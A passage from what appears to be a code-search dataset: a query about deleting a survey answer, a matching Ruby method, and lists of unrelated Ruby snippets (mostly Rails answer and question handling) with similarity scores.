skips_hash[:choice_days].each do |id, days|\n cqr = choice_question_reporters.where(q_id: id).first\n next unless cqr\n days.each do |date, hash|\n day = cqr.choice_question_days.find_or_create_by(date: date)\n day.questions_asked = hash[:total]\n day.questions_skipped = hash[:skip]\n end\n cqr.questions_asked = cqr.choice_question_days.pluck(:questions_asked).compact.sum\n cqr.questions_skipped = cqr.choice_question_days.pluck(:questions_skipped).compact.sum\n cqr.save\n end\n skips_hash[:text_days].each do |id, days|\n tqr = text_question_reporters.where(q_id: id).first\n next unless tqr\n days.each do |date, hash|\n day = tqr.text_question_days.find_or_create_by(date: date)\n day.questions_asked = hash[:total]\n day.questions_skipped = hash[:skip]\n end\n tqr.questions_asked = tqr.text_question_days.pluck(:questions_asked).compact.sum\n tqr.questions_skipped = tqr.text_question_days.pluck(:questions_skipped).compact.sum\n tqr.save\n end\n end", "def answers_with_data\n return answers.map(&:data_result), total_votes\n end", "def answer_params\n params[:answer]\n end", "def answer_params\n params[:answer]\n end", "def create\n @answers = params[:user_answers]\n @answers.each do |key, value|\n UserAnswer.create(:user_id => current_user.id, :survey_question_id => key.to_i, :text => value)\n end\n redirect_to :root\n end", "def questions\n @study = Study.find(params[:study_id])\n makeStudyActive(@study)\n session[:project_id] = @study.project_id\n @study_extforms = StudyExtractionForm.where(:study_id => @study.id)\n @extraction_forms = Array.new\n @included_sections = Hash.new\n @borrowed_section_names, @section_donor_ids = [Hash.new,Hash.new]\n # an array of hashes to keep track of key questions addressed by\n # each individual section\n @kqs_per_section = Hash.new\t\t\n unless @study_extforms.empty?\n @study_extforms.each do |ef|\n tmpForm = ExtractionForm.find(ef.extraction_form_id)\n @extraction_forms << tmpForm\n included = ExtractionFormSection.get_included_sections(ef.extraction_form_id)\n borrowed = ExtractionFormSection.get_borrowed_sections(ef.extraction_form_id)\n @included_sections[ef.extraction_form_id] = included\n @borrowed_section_names[ef.extraction_form_id] = borrowed.collect{|x| x[0]}\n @section_donor_ids[ef.extraction_form_id] = borrowed.collect{|x| x[1]}\n #@borrowed_sections[ef.extraction_form_id] = borrowed\n @kqs_per_section[ef.extraction_form_id] = ExtractionFormSection.get_questions_per_section(ef.extraction_form_id,@study)\n end\n end\t\n @ef_id = params[:extraction_form_id]\n # get info on questions addressed\n @questions = @study.get_question_choices(params[:project_id])\t\n # return an array telling us whether or not each question is represented by a form\n # will be a hash: qid -> true/false\n @available = KeyQuestion.has_extraction_form_assigned(@questions)\t\n @checked_ids = StudyKeyQuestion.where(:study_id=>@study.id).collect{|rec| rec.key_question_id}\n render :layout=>false\n end", "def createIncorrectAns(min, max, correctHash, nOfAnswers, error)\n\tincorrectHash = {}\n \twhile incorrectHash.length < nOfAnswers\n \t\tincSum = -1\n \t\twhile incSum <= 0 || incSum == correctHash\n \t\t\tincSum = correctHash + rand(-error..error)\n \t\tend\n\n\t \t# -- Check for repeating answers -- #\n\t \tif !incorrectHash.has_value?(incSum)\n\t\t\tincorrectHash[\"incorrect\" + incorrectHash.length.to_s] = incSum\n\t\tend\n \tend\n \treturn incorrectHash\nend", "def results\n ans_hash = Hash.new(0)\n h = self\n .answer_choices\n .select(\"answers.body, COUNT(responses.id) AS response_count\")\n .joins('left outer join responses on responses.answer_id = answers.id')\n .group(\"answers.id\")\n h.map do |ans|\n ans_hash[ans.body] = ans.response_count\n end\n ans_hash\n end" ]
[ "0.7079243", "0.6831264", "0.6753015", "0.673924", "0.6645991", "0.656122", "0.656122", "0.6428588", "0.6341754", "0.6301192", "0.63009423", "0.62833834", "0.62736684", "0.6184307", "0.6170896", "0.61706865", "0.61139953", "0.60994405", "0.6005416", "0.6002221", "0.5984477", "0.5981231", "0.5979049", "0.59278405", "0.5917468", "0.5902697", "0.58655834", "0.5864493", "0.5855542", "0.5851768", "0.58492917", "0.5830684", "0.5826329", "0.5813449", "0.58082366", "0.5807105", "0.5803204", "0.57902414", "0.5766509", "0.57517236", "0.57494664", "0.57409555", "0.57226586", "0.5706822", "0.5705628", "0.5697174", "0.5693876", "0.56936586", "0.56888574", "0.5686982", "0.56746185", "0.5660253", "0.5649275", "0.56454366", "0.5641596", "0.5633449", "0.56288224", "0.56135416", "0.5595451", "0.5589221", "0.5587138", "0.55667216", "0.5543458", "0.5541866", "0.55405414", "0.5536467", "0.55241203", "0.55234385", "0.5518947", "0.551814", "0.55166554", "0.55166554", "0.5510003", "0.5507462", "0.5506694", "0.5505849", "0.55057114", "0.55049497", "0.5497726", "0.549699", "0.5495662", "0.5495092", "0.549412", "0.54937047", "0.5490133", "0.5488975", "0.54867065", "0.54816806", "0.5479611", "0.5472314", "0.54701906", "0.5468529", "0.5466332", "0.546519", "0.5461297", "0.5461297", "0.5458927", "0.54588735", "0.5454177", "0.5452291" ]
0.576746
38
destroy the answer if it exists (the user has unset it in the form)
def remove_answer(question_id) answers.each do |a| if a.survey_question.id == question_id self.answers.delete(a) a.destroy return end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clear_answer\n \t\tself.answer = nil\n \tend", "def destroy\n Answer.force_all.find_by_id(params[:answer_id]).destroy!\n redirect_to edit_admin_learning_object_path(id: @learning_object.id, anchor: 'answer-settings'), :notice => \"Odpoveď bola odstránená.\"\n end", "def destroy\n @answer.destroy\n\n head :no_content\n end", "def destroy\n @ask.destroy\n end", "def delete\n answer = Answer.find_by_id(params[:id])\n if answer.user_id == current_user.uid\n answer.destroy\n render :nothing => true\n end\n end", "def destroy\n @answer.destroy\n redirect_to @question, notice: 'Answer was successfully destroyed.'\n end", "def destroy\n @v1_answer.destroy\n end", "def destroy\n\n @question=@answer.question\n @question.update(cant_answers: @question.cant_answers - 1)\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @question, notice: 'La respuesta fue borrada con exito' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_answer = UserAnswer.find(params[:id])\n @user_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to user_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = current_user.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroyable?\n self.submitted_answers.empty?\n end", "def destroy\n if current_user.id == @answer.user_id\n @answer.destroy\n respond_to do |format|\n flash[:notice] = \"Answer was successfully destroyed!!\"\n format.html { redirect_to controller: 'questions', action: 'show', id: @answer.question_id }\n format.json { head :no_content }\n end\n else\n flash[:alert] = \"Not Authorized User!!\"\n redirect_to controller: 'questions', action: 'show', id: @answer.question_id\n end\n end", "def destroy\n @asked_to_answer.destroy\n respond_to do |format|\n format.html { redirect_to asked_to_answers_url, notice: 'Asked to answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroyChoicesOnScreen()\n if $strAnswer.length == 1\n $radioA.destroy\n $radioB.destroy\n $radioC.destroy\n $radioD.destroy\n else\n $checkA.destroy\n $checkB.destroy\n $checkC.destroy\n $checkD.destroy\n end\nend", "def destroy\n answer = Answer.find(params[:answer_id])\n answer.destroy\n \n render json: {success: true}\n end", "def destroy\n @answer.destroy\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end", "def destroy\n\t\t#@answer.destroy\n\t\t#respond_to do |format|\n\t\t#\tformat.html { redirect_to answers_url }\n\t\t#\tformat.json { head :no_content }\n\t\t#end\n\n\tend", "def remove_answer\n elem = \"entry_answer\" << params[:id]\n entry = JournalEntry.find(params[:id])\n # remove any score report created\n if entry.survey_answer\n sc = ScoreRapport.find_by_survey_answer_id(entry.survey_answer.id)\n sc.destroy if sc\n end\n\n # delete all answers and answer cells, delete login for journal_entry\n if entry.destroy\n render :update do |page|\n page.visual_effect :slide_up, elem\n page.remove elem\n end\n end\n end", "def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Admin::Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ask_answer = AskAnswer.find(params[:id])\n @ask_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(ask_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @possible_answer.destroy\n respond_to do |format|\n format.html { redirect_to possible_answers_url, notice: 'Possible answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @given_answer.destroy\n respond_to do |format|\n format.html { redirect_to given_answers_url, notice: 'Given answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @four_choice_question.destroy\n end", "def destroy\n @dei_field_answer.destroy\n respond_to do |format|\n format.html { redirect_to dei_field_answers_url, notice: \"Dei field answer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n answer = Answer.find params[:id]\n \n if can? :delete, answer\n answer.destroy\n render json: { status: 200 }, status: 200\n else\n render json: { status: 403 }, status: 403\n end\n end", "def destroy\n @survey_user_answer.destroy\n respond_to do |format|\n format.html { redirect_to survey_user_answers_url, notice: 'Survey user answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_answers_url(@question)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answerable = @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @answerable }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.create_activity :destroy, owner: @answer.user\n @answer.destroy\n\n flash.now[:notice] = 'Answer was successfully removed.'\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n format.js { render \"answers/destroy\", :layout => false }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question.destroy\n\t redirect_to root_url\n end", "def destroy\n @question = Question.find(params[:question_id])\n\n if !@question\n redirect_to :controller => :questions, :action => \"show\", :id => params[:question_id]\n end\n\n @answer = @question.answers.find(params[:id])\n\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_answer = Question::Answer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n return false if new? || destroyed?\n handle_response SurveyGizmo.delete(handle_route(:delete)) do\n _response.ok? ? destroyed! : false\n end\n end", "def destroy\n @simple_question_alternative.destroy\n head :no_content\n end", "def destroy\n\n respond_to do |format|\n if @answer.editable?\n @answer.destroy\n format.html { redirect_to [@project, @discussion], notice: 'Answer was successfully destroyed.' }\n else\n format.html { redirect_to [@project, @discussion], notice: \"You can't delete that answer\" }\n end\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_old_answers\n if self.valid?\n self.choice_questions.includes(:choice_answers).each {|x| x.choice_answers.each(&:destroy)}\n end\n end", "def destroy\n @submitted_answer = SubmittedAnswer.find(params[:id])\n @submitted_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to submitted_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if current_user.role == \"admin\" ||current_user.role==\"editor\" ||current_user.id == @answer.user.id\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to '/', notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to '/',notice: 'You are not authorized to delete answer' }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def destroy\n @icebreaker_answer.destroy\n respond_to do |format|\n format.html { redirect_to icebreaker_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fake_answer.destroy\n respond_to do |format|\n format.html { redirect_to fake_answers_url, notice: 'Fake answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @submitted_answer.destroy\n respond_to do |format|\n format.html { redirect_to submitted_answers_url, notice: 'Submitted answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t# check if the user shouldbe able to destroy the question\n\t\tif !logged_in? || (!admin? && !(current_user == @user))\n\t\tnaughty_user\n\t\telse\n\t\t\t@submission.destroy\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html { redirect_back(fallback_location: assessments_url)\n\t\t\t\t\t\t\t\t\t\tflash[:info] = \"Submission was successfully destroyed.\" }\n\t\t\t\tformat.json { head :no_content }\n\t\t\tend\n\t\tend\n end", "def destroy\n @textanswer = Textanswer.find(params[:id])\n @textanswer.destroy\n\n respond_to do |format|\n format.html { redirect_to textanswers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n question = Question.find params[:id]\n question.destroy\n redirect_to root_path\n end", "def destroy\n @selected_answer.destroy\n respond_to do |format|\n format.html { redirect_to selected_answers_url, notice: 'Selected answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_item\n if !@question.many_answers && @item.ok && @question.items.count > 1\n # No more good answer\n # We put one in random to true\n @item.destroy\n @item2 = @question.items.last\n @item2.ok = true\n @item2.save\n flash[:info] = \"Vous avez supprimé une réponse correcte : une autre a été mise correcte à la place par défaut.\"\n else\n @item.destroy\n end\n redirect_to question_manage_items_path(params[:question_id])\n end", "def destroy\n\n @m_answer.destroy\n respond_to do |format|\n format.html { redirect_to m_question_path(@m_question) }\n format.json { head :no_content }\n end\n end", "def destroy\n #@admin_academy_question.destroy\n a = Academy::Question.find(params[:id].split('-')[0])\n a.update(:is_deleted => true)\n dest = a.id\n type = 4 #answer_question_code\n Notification.clear_notifications(type,dest)\n a.save\n\n respond_to do |format|\n format.html { redirect_to admin_academy_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @panswer = Panswer.find(params[:id])\n @panswer.destroy\n\n respond_to do |format|\n format.html { redirect_to(panswers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @ask.destroy\n respond_to do |format|\n format.html { redirect_to asks_path }\n format.json { head :no_ask }\n end\n end", "def destroy\n @tipo_answer.destroy\n respond_to do |format|\n format.html { redirect_to tipo_answers_url, notice: 'Tipo answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '回答を削除しました。' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_answer = SurveyAnswer.find(params[:id])\n @survey_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(survey_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @check_answer.destroy\n respond_to do |format|\n format.html { redirect_to check_answers_url, notice: 'Check answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to models_url, notice: 'Model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:question_id])\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n\n respond_to_destroy(@answer, [@question, :answers])\n end", "def destroy\n @actual_answer.destroy\n respond_to do |format|\n format.html { redirect_to actual_answers_url, notice: 'Actual answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @quiz_free_answer.destroy\n respond_to do |format|\n format.html { redirect_to quiz_free_answers_url, notice: \"Quiz free answer was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Answer deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # If a question is on more than one page, or has been answered, remove it from this question sheet, but don't delete it for real.\n if @question.pages.length > 1 || (@question.respond_to?(:sheet_answers) && @question.sheet_answers.count > 0)\n PageElement.where(:page_id => @keyword.question_page.id, :element_id => @question.id).first.try(:destroy)\n else\n @question.destroy\n end\n\n respond_to do |wants|\n wants.html { redirect_to(questions_url) }\n wants.xml { head :ok }\n wants.js\n end\n end", "def destroy\n @prompt.promptlikes.destroy_all\n @prompt.destroy\n end", "def destroy\n @question_answer.destroy\n respond_to do |format|\n format.html { redirect_to question_answers_url, notice: 'Question answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @choice.destroy\n\n head :no_content\n end", "def destory_search_term\n \t\tcurrent_user.searches.and({:search_term =>params[:searchterm]},{:type=>\"question\"}).first.destroy\n \tend", "def destroy\n @question = Question.find(params[:id])\n if @question.destroy\n redirect_to root_path\n else \n redirect to :back #CHANGE\n end \n end", "def destroy\n @quizzes_answer.destroy\n respond_to do |format|\n format.html { redirect_to quizzes_answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def remove_old\n count = WrongAnswer.count(:all, :conditions => { :user_id => user.id })\n if count > APP_SETTINGS['wrong_answers_to_store']\n WrongAnswer.find(:first, :conditions => { :user_id => user.id }).destroy\n end\n end", "def destroy\n p request.method\n @answer.destroy\n redirect_to @question, notice: t(:answer_destroy)\n\n end", "def destroy\n @booleananswer = Booleananswer.find(params[:id])\n @booleananswer.destroy\n\n respond_to do |format|\n format.html { redirect_to(booleananswers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @survey_choice = Survey::Choice.find(params[:id])\n \n if @survey_choice.answers.count>0\n redirect_to action: :show\nelse\n @divid = divid_for(@survey_choice) \n @survey_choice.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_choices_url }\n format.json { head :no_content }\n format.js\nend \nend\n end", "def unsubmit(_ = nil)\n # Skip the state validation in answers.\n @unsubmitting = true\n\n unsubmit_latest_answers\n self.points_awarded = nil\n end", "def destroy\n @question = Question.find(params[:question_id])\n @answer = @question.answers.find(params[:id])\n authorize! :destroy, @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer_respondent.destroy\n respond_to do |format|\n format.html { redirect_to answer_respondents_url, notice: 'Answer respondent was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_link = QuizQuestion.find_by_id(@question.questionid)\n @quiz = Quiz.find_by_id(@question_link.quizid)\n @question_link.destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ask.destroy\n respond_to do |format|\n format.html { redirect_to asks_url, notice: 'Ask was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n\t \tcurrent_dir = Dir.pwd\n\n\t \tif @params[0]\n\t \t\tputs \"\"\n\t\t\t\tputs Rainbow(\"/!\\\\ Are you sure you want destroy \"+@params[0]+\" ? \\n Enter your answer Yes/No\").background(\"#F7A000\") \n\t\t\t\tputs \"\"\n\t\t\t\tanswer = STDIN.gets.chomp\n\n\t\t\t\tif answer == \"Yes\"\n\t\t\t\t\tFileUtils.rm_rf(@params[0])\n\t\t\t\t\tputs \"\"\n\t\t\t\t\tputs @params[0]+\" are remove\"\n\t\t\t\t\tputs \"\"\n\t\t\t\telsif answer == \"No\"\n\t\t\t\t\tputs \"\"\n\t\t\t\t\tputs puts Rainbow(\"Phew ! That was close ...\").color(\"#D65200\")\n\t\t\t\t\tputs \"\"\n\t\t\t\telse\n\t\t\t\t\tputs \"Wrong answer, please write Yes or No\"\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tputs \"\"\n\t\t\t\tputs Rainbow(\"/!\\\\ Are you sure you want destroy \"+current_dir+\" ? \\n Enter your answer Yes/No\").background(\"#F7A000\") \n\t\t\t\tputs \"\"\n\t\t\t\tanswer = STDIN.gets.chomp\n\n\t\t\t\tif answer == \"Yes\"\n\t\t\t\t\tFileUtils.rm_rf(current_dir)\n\t\t\t\t\tputs \"\"\n\t\t\t\t\tputs current_dir+\" are remove\"\n\t\t\t\t\tputs \"\"\n\t\t\t\telsif answer == \"No\"\n\t\t\t\t\tputs \"\"\n\t\t\t\t\tputs puts Rainbow(\"Phew ! That was close ...\").color(\"#D65200\")\n\t\t\t\t\tputs \"\"\n\t\t\t\telse\n\t\t\t\t\tputs \"Wrong answer, please write Yes or No\"\n\t\t\t\tend\n\t\t\tend\n\t end", "def destroy\n @pre_test_answer.destroy\n respond_to do |format|\n format.html { redirect_to pre_test_answers_url, notice: 'Pre test answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n flash[:notice] = \"Successfully removed the questionnaire from system.\"\n redirect_to questionnaires_url\n end", "def unsubmit(_ = nil)\n # Skip the state validation in answers.\n @unsubmitting = true\n\n unsubmit_current_answers\n self.points_awarded = nil\n self.draft_points_awarded = nil\n self.awarded_at = nil\n self.awarder = nil\n self.submitted_at = nil\n self.publisher = nil\n self.published_at = nil\n end", "def destroy\n @pub_quiz_answer.destroy\n respond_to do |format|\n format.html { redirect_to pub_quiz_answers_url, notice: 'Pub quiz answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.73642284", "0.7251519", "0.715624", "0.7079844", "0.7023826", "0.69775724", "0.6897252", "0.68699455", "0.68602204", "0.6857843", "0.6789795", "0.6789795", "0.67517215", "0.67337674", "0.6727605", "0.67168045", "0.67140955", "0.67083687", "0.6692894", "0.66906184", "0.6679732", "0.6672612", "0.6670786", "0.6669638", "0.6660079", "0.6653052", "0.6643738", "0.6633764", "0.66224504", "0.6604553", "0.6595998", "0.65915066", "0.65808874", "0.65808874", "0.6573949", "0.65711373", "0.65711373", "0.6564657", "0.6564657", "0.6564657", "0.6564657", "0.6547997", "0.6543046", "0.652734", "0.65092784", "0.65003014", "0.6489811", "0.6481952", "0.6478419", "0.6472229", "0.64704704", "0.64704704", "0.64704704", "0.64704704", "0.64704704", "0.6460603", "0.64561164", "0.6455715", "0.6451114", "0.6445598", "0.6437687", "0.64229614", "0.64134073", "0.6410201", "0.6408621", "0.6406968", "0.6405793", "0.6390965", "0.6374974", "0.63698727", "0.63618296", "0.63590086", "0.63555026", "0.63553053", "0.6352349", "0.634482", "0.63422805", "0.6341096", "0.6340969", "0.6336601", "0.6333401", "0.632171", "0.6316166", "0.6306675", "0.6306134", "0.6305936", "0.6304375", "0.6281973", "0.62809503", "0.6277822", "0.62705714", "0.6268822", "0.62667924", "0.6257588", "0.62558866", "0.62535334", "0.62506986", "0.6244092", "0.62385815", "0.6236571" ]
0.6398425
67
Cierre de la Clase
def atributos p "El Modelo del carro es: #{@modelo}, la Marca es: #{@marca} y el Color es: #{@color}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def changerEnSuivant #-1=>1=>0>-1\n\t\t@couleur=@couleur%3-1\n\tend", "def calculoComprimento(raio)\n return calculoDiametro(raio) * Math::PI\nend", "def jeuTermine\n\t\t@grille.score.recupererTemps(self.timer)\n\t\tscoreFinal = @grille.score.calculerScoreFinal\n\t\t@@joueur.score = scoreFinal > 0 ? scoreFinal : 0\n\t\tself.lancementFinDeJeu\n\t\tself\n\tend", "def cintura\n\t\t(@cintura[0] + @cintura[1])/2\n\tend", "def french_siret_number; end", "def suivre; end", "def fin\n empl = Employeur.instance\n return @debut + 7 * empl.semaines_par_paie\n end", "def calcularComprimento(raio)\n return calcularDiametro(raio) * Math::PI\nend", "def grasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * ( sexo ? 1 : 0) - 5.4\n\tend", "def relacion_cc\n\t\t(ccintura / ccadera).round(2)\n\tend", "def porcentajegrasa\n\t\t1.2 * imc + 0.23 * @edad - 10.8 * @sexo - 5.4\n\tend", "def calcula_preco(base)\n if @ano_lancamento <2006\n if @possui_reimpressao\n base * 0.9\n else\n base * 0.5\n end\n elsif @ano_lancamento <= 2010\n if @possui_reimpressao\n base * 0.96\n else\n base\n end\n end\n end", "def calculoDiametro(raio)\n return raio * 2\nend", "def grasa\n\t\t1.2*imc+0.23*@edad-10.8*@sexo-5.4\n\tend", "def mi_carrera\n\n\tend", "def degree; end", "def calculCouleur(cellule,clique)\n #Gestion du clique gauche\n if clique == CLIQUEGAUCHE\n couleur = cellule.clicGauche\n #Gestion duclique droit\n elsif clique == CLIQUEDROIT\n couleur = cellule.clicDroit\n #Aucune gestion pour tout les autres boutons de la souris\n else\n couleur = nil\n puts \"Aucun evenement lié au bouton\"+clique.to_s\n end\n return couleur\n end", "def jeuTermine\n\t\tlancementAventure(@tailleGrille+1)\n\tend", "def porc_grasa\n\t\t(1.2 * self.indice_masa_corporal + 0.23 * edad - 10.8 * sexo - 5.4).round(1)\n\tend", "def cos\n pass\nend", "def french_siren_number; end", "def cos\n math :cos\n end", "def deca\n big_self * DECA\n end", "def course\n\t\treturn @course if @course\n\t\tc = self.to_f\n\t\tc = c%360.0 if c.abs>360\n\t\t@course = c<0 ? (360.0-(c*-1.0)) : c\n\tend", "def cac2\n 0\n end", "def schumann; end", "def imc\n\t\tnum = (@peso/(@talla*@talla)).round(2)\n\t\tif num < 18.5\n\t\t\tnum #- Bajo peso\"\n\t\telsif num > 18.5 and num < 24.9\n\t\t\tnum #- Adecuado\"\n\t\telsif num > 25.0 and num < 29.9\n\t\t\tnum #- Sobrepeso\"\n\t\telsif num > 30.0 and num < 34.9\n\t\t\tnum #Obesidad grado 1\"\n\t\telsif num > 35.0 and num < 39.9\n\t\t\tnum #- Obesidad grado 2\"\n\t\telsif num > 40\n\t\t\tnum #- Obesidad grado 2\"\n\t\tend\t\t\t\n\tend", "def changerEnRouge\n\t\t@couleur=1\n\tend", "def celebrity; end", "def celebrity; end", "def ctof (degres)\n return ((degres * 1.8) + 32)\nend", "def french_insee_number; end", "def massaCorporalGorda(percentualDeGordura, peso)\n resultado = (peso*percentualDeGordura)/100\nend", "def calcula_imc(peso, altura)\n return peso / altura ** 2\nend", "def ctof(celsius)\n\n (celsius * 9/5) + 32\n\nend", "def grasa(sexo,peso,talla)\n\t\t@grasa = 1.2*imc(peso,talla)+0.23*@edad-10.8*sexo-5.4\n\tend", "def convert(degree_fahrenheit)\n \n degree_celius = (degree_fahrenheit - 32)/1.8\n\nend", "def suprailiaco\n\t\t(@suprailiaco[0] + @suprailiaco[1] + @suprailiaco[2])/3\n\tend", "def calculo_de_sueldo(attr={})\r\n retencion = @salario * 0.1\r\n salud = @salario * 0.07\r\n pension = @salario * 0.12\r\n sueldo = @salario - retencion - salud - pension\r\n end", "def sub_c\n end", "def valor_calorico\n if eficiencia_energetica() < 670\n return 1\n end\n if eficiencia_energetica() > 830\n return 3\n else\n return 2\n end\n end", "def in_celsius\n\t\tif(@unit.to_s == \"c\")\n\t\t\t@degree\n\t\telse\n\t\t\t(@degree - 32) * (5.0/9.0)\n\t\tend\n\tend", "def fahrenheit_to_celsius(farenheit)\nreturn (farenheit - 32) * 5 / 9\n #add test code here\nend", "def square(numCuadro)\n return 2 ** (numCuadro-1)\n end", "def ctof(celsius)\n celsius * 1.8 + 32\nend", "def seuil()\n\t\treturn 0\n\tend", "def imc 